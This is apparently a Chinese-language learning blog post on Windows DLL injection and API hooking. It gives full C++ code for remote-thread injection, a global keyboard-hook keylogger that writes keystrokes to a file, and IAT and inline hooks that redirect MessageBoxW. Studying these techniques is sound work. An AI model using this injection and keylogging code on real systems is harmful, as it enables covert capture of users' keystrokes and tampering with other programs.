首先啊,首先啊;

你得了解windows编程及其基于消息的处理机制,DllMain函数;

不然就会看不懂或者啃着异常难受核心原理第三章;

dll注入

dll为文件后缀名,称为dynamic link library,动态链接库,一般用于存储方法和函数,进程运行时动态地调用其函数;

其显示调用命令为:

1
LoadLibrary(".//your//dll's//path");

dll注入,顾名思义,将已有进程,使其调用不属于它本身的dll文件,称为dll注入;

一般用于对已经做好的软件进行升级扩展和修补漏洞,也可用于外挂;

远程线程注入

根据dll注入的本意,很轻易的可以想到通过创建远程进程的子线程对其进行 LoadLibrary 操作;

利用windows API,于是有以下操作:

1
2
3
4
5
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

//创建进程中的线程
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, ThreadProc, dll_path, 0, 0);

其中,ThreadProc 是线程回调函数,也就是线程内容,可以在其中执行 LoadLibrary;

但由于其特殊性,该回调函数的特征类似于LoadLibrary函数,都只有一个参数,而且类型可以说是一样的:

1
2
3
4
5
6
7
8
9
//回调
DWORD WINAPI ThreadProc(
_In_ LPVOID lpParameter
);

//LoadLibrary
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);

所以创建线程可以写成如下:

1
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, dll_path, 0, 0);

但有个问题?这里的dll_path传参数是本进程的地址,如果直接这么用,那么目标进程执行时,就会造成调用越界出错;

所以需要dll_path写入目标进程,用windows API 实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
char buffer[] = ".//your//dll's//path";
SIZE_T bufferSize = strlen(buffer) + 1;
SIZE_T realWrite = 0;

//申请进程内存空间
char* str = (char*)VirtualAllocEx(hProcess, 0, bufferSize, MEM_COMMIT, PAGE_READWRITE);
if (str == NULL)
{
cout << "malloc err !!" << endl;
return 0;
}
//将字符串写入该空间
WriteProcessMemory(hProcess, str, buffer, bufferSize, &realWrite);

之后再用str去创建线程传参,就没有问题了;

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<Windows.h>
#include<iostream>
using namespace std;

int main()
{
int pid = "your aim pid";
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
cout << "open fail !! " << endl;
return 0;
}

char buffer[] = ".//your//dll's//path";
SIZE_T bufferSize = strlen(buffer) + 1;
SIZE_T realWrite = 0;

//申请进程内存空间
char* str = (char*)VirtualAllocEx(hProcess, 0, bufferSize, MEM_COMMIT, PAGE_READWRITE);
if (str == NULL)
{
cout << "malloc err !!" << endl;
return 0;
}
//将字符串写入该空间
WriteProcessMemory(hProcess, str, buffer, bufferSize, &realWrite);

//创建进程中的线程
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, str, 0, 0);
if (hThread == NULL)
{
cout << "thread create err !!" << endl;
return 0;
}

//一直等待线程结束
WaitForSingleObject(hThread, -1);

//扫尾
VirtualFreeEx(hProcess, str, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);

return 0;
}

之后写一个dll具体实现,就能将其注入了;

HOOK

钩子,和网络上的抓包很类似,在上下文中设置hook,即可捕获了解到其中的执行信息;

消息 hook

你已经知道windows是基于消息操作的,也可以叫基于事件操作,那么将钩子设置在消息队列和进程之间的消息传输中,就叫消息hook;

windows提供了消息hook的API,只需要会用就行;

API 作用
SetWindowsHookEx 设置钩子
CallNextHookEx 传递钩子信息到钩子链的下一个子程序
UnHookWindowsHookEx 卸载钩子

其中有个特点需要了解:

进程如果被hook,那么有关其hook的dll会被强制归属于该进程,所以hook一般也写在dll中,也是一种dll注入的手段;

来看一个键盘记录器的实际代码;

首先是dll程序主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BOOL APIENTRY DllMain( HMODULE hModule,					//实例句柄
DWORD ul_reason_for_call, //调用原因或可以说是时机
LPVOID lpReserved //保留字段
)
{

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //创建进程时执行
g_hInstance = hModule; //之后hook函数需要用到的实例句柄
break;
}
return TRUE;
}

之后分别是hook的设置,处理,以及卸载;

设置HOOK:

1
2
3
4
5
6
7
8
9
10
11
BOOL InstallHook()
{
//填0全局hook,这里选用键盘消息的勾取
g_hHook = SetWindowsHookExA(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);

if (g_hHook)
{
return TRUE;
}
return FALSE;
}

使用回调函数处理捕获信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
LRESULT CALLBACK KeyboardProc(
_In_ int code,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (code == HC_ACTION)
{
//键帽按下状态
if ((lParam & 0x80000000) == 0)
{
//将虚拟键转换为字符
BYTE KeyState[256]{ 0 };
if (GetKeyboardState(KeyState))
{
LONG keyinfo = lParam;
UINT keyCode = (keyinfo >> 16) & 0x00ff;
WCHAR wkeyCode = 0;
ToAscii((UINT)wParam, keyCode, KeyState, (LPWORD)&wkeyCode, 0);
CHAR strinfo[12] = { 0 };
sprintf_s(strinfo, _countof(strinfo), "%c", wkeyCode);

//写到桌面,这样仅仅对ascii实用
FILE* fp = NULL;
fopen_s(&fp, "C://your//path//to//Desktop//hook_log.txt", "a+");
fwrite(strinfo, 1, 1, fp);
fclose(fp);
return 0;
}
}
}
//不处理给下一个钩子,类似于窗口的回调函数最后返回
return CallNextHookEx(g_hHook, code, wParam, lParam);
}

卸载钩子:

1
2
3
4
BOOL UnInstallHook()
{
return UnhookWindowsHookEx(g_hHook);
}

至此,一个拥有消息hook的dll文件产生了,再使用任意主程序调用即可;

IAT hook

顾名思义,此hook是对于IAT而言,IAT即 import address table ,导入地址表,在程序变为进程时,此表存储了导入函数的地址,在磁盘形态时存储的则是其函数名称,或者序号;

利用该hook可以使得改变原程序调用函数为自定义函数,当然传参需要一致,调用约定需要一致

先回顾下 IAT 结构:

先拿DOS头找到PE头,接着拿PE头找可选PE头,可选头最后一个字段是一个数组,其存放各种表的 rva;

1
2
3
4
IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress; // +0000h - 数据的起始RVA
DWORD Size; // +0004h - 数据块的长度
}

下标为1的元素即为导入表,利用rva跳转到表本身,同时注意表有多个,因为导入的dll会是多个,所以记得循环遍历;

导入表中的 FirstThunk即为 IAT,同时注意,IAT有多个函数地址,也需要一次循环遍历;

IAT

由此,寻找函数地址的函数为:(输入dll名和函数名以查询)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//32位程序用DWORD
DWORD* GetIatAddr(const char* dllName, const char* dllFunName)
{
//获取本进程的句柄,也就是载入的exe文件
HMODULE hModule = GetModuleHandleA(0);
DWORD buffer = (DWORD)hModule;

//获取DOS头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)buffer;
//获取PE头
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + buffer);
//获取可选头
PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNtHeader->OptionalHeader;
//获取那个结构体数组
PIMAGE_DATA_DIRECTORY dataDirectory = &pOptionalHeader->DataDirectory[1];
//获取导入表
PIMAGE_IMPORT_DESCRIPTOR pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(dataDirectory->VirtualAddress + buffer);

//遍历导入表
while (pImportTable->Name)
{
char* name = (char *)(pImportTable->Name + buffer);
//是否dll名相同
if (!_stricmp(name, dllName))
{
//根据名字拿地址
//获取INT
PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(pImportTable->OriginalFirstThunk + buffer);
//获取IAT
PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(pImportTable->FirstThunk + buffer);

//同步遍历INT和IAT
while (pINT->u1.Function)
{
//按名导入
if ((pINT->u1.Ordinal & 0x80000000) == 0)
{
PIMAGE_IMPORT_BY_NAME pImportName = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.Function + buffer);
if (!strcmp(pImportName->Name, dllFunName))
{
return (DWORD*)pIAT;
}
}
pINT++;
pIAT++;
}
}
pImportTable++;
}

return NULL;
}

接着便是dllMain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{

switch (ul_reason_for_call)
{
//创建进程时获取函数地址,此次修改的函数是MessageBoxW
case DLL_PROCESS_ATTACH:
printf("注入成功!\n");
//获取函数地址
g_iatAddr = GetIatAddr("user32.dll", "MessageBoxW");
g_preIatAddr = g_iatAddr;

//设置钩子
InstallHook();
break;
//进程结束时卸载钩子
case DLL_PROCESS_DETACH:
//卸载钩子
UnInstallHook();
break;
}
return TRUE;
}

BOOL InstallHook()
{
DWORD oldProtect = 0;
//更改IAT处可写权限
VirtualProtect(g_iatAddr, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
//更改函数地址
*g_iatAddr = (DWORD)Hack;
VirtualProtect(g_iatAddr, 4, oldProtect, &oldProtect);
return TRUE;
}

BOOL UnInstallHook()
{
DWORD oldProtect = 0;
//更改IAT处可写权限
VirtualProtect(g_iatAddr, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
//还原更改的IAT
*g_iatAddr = (DWORD)g_preIatAddr;
VirtualProtect(g_iatAddr, 4, oldProtect, &oldProtect);
return TRUE;
}

Inline hook

IAT hook 是有缺陷的,即若导入函数无名就会失去作用;

而知道的是,IAT hook 的主要思路就是改变所hook函数的地址

既然要hook一个函数,那么这个函数一定会调用,则inline hook 的主旨便是:

进入目标函数时执行跳转,跳转到自实现函数里去;意思就是更改其第一条汇编码为 jmp aimAddr ;

具体实现则是更改其第一条指令对应的硬编码,也就是机械码,二进制内容;

对于32位程序的x86而言,jmp指令会占 5 个字节,第一个固定 E9 为 jmp指令,后面跟随的4个字节为偏移;

该偏移的计算公式为 : offset = aimAddr - jmp指令的下一条地址;

也就是 : offset = aimAddr - jmp指令地址 - 5;

那么主要的dll构造思路为:

  1. 拿到目标函数地址,存档其前5字节内容,因为要恢复;
  2. 算出偏移并更改目标地址前5字节内容为跳转;
  3. 执行自实现函数的处理部分;
  4. 恢复5字节内容;

由此全局存储变量:

1
2
3
4
//分别是目标函数地址,保留5字节和修改5字节
DWORD aimAddr = 0;
char oldBytes[5] = { 0 };
char newBytes[5] = { 0xE9 };

则有初始化函数实现思路中 1,2 中的算偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BOOL InitHook()
{
HMODULE hModule = LoadLibraryA("user32.dll");
if (hModule == 0) return FALSE;
//获取真实的地址
aimAddr = (DWORD)GetProcAddress(hModule, "MessageBoxW");
//保留5字节
memcpy(oldBytes, (char*)aimAddr, 5);
//偏移搞定,hack为自定义函数
DWORD offset = (DWORD)Hack - aimAddr - 5;
//修改5字节
memcpy(&newBytes[1], &offset, 4);

return TRUE;
}

装载和卸载钩子以实现 2,4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BOOL InstallHook()
{
DWORD oldProtect = 0;
VirtualProtect((DWORD*)aimAddr, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
//修改为跳转
memcpy((char*)aimAddr, newBytes, 5);
VirtualProtect((DWORD*)aimAddr, 5, oldProtect, &oldProtect);

return TRUE;
}

BOOL UnInstallHook()
{
DWORD oldProtect = 0;
VirtualProtect((DWORD*)aimAddr, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
//恢复
memcpy((char*)aimAddr, oldBytes, 5);
VirtualProtect((DWORD*)aimAddr, 5, oldProtect, &oldProtect);

return TRUE;
}

最后由自定义函数实现思路 3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int WINAPI Hack(
HWND hWnd,
LPCWSTR lpText,
LPCWSTR lpCaption,
UINT uType
)
{
//调用原本函数的输出想要的效果
UnInstallHook();
int result = MessageBoxW(0, L"hacker~", L"提示", MB_OK);
InstallHook();

return result;
}

同理,进程创建时初始化和挂钩,进程结束时解钩;

总体来说写法会比 IAT hook 更轻松;

总结

刚入门dll注入系列以及hook,开始发现很有意思;

注意啊,hook的函数需要和原函数保持一致,包括调用约定和参数!!!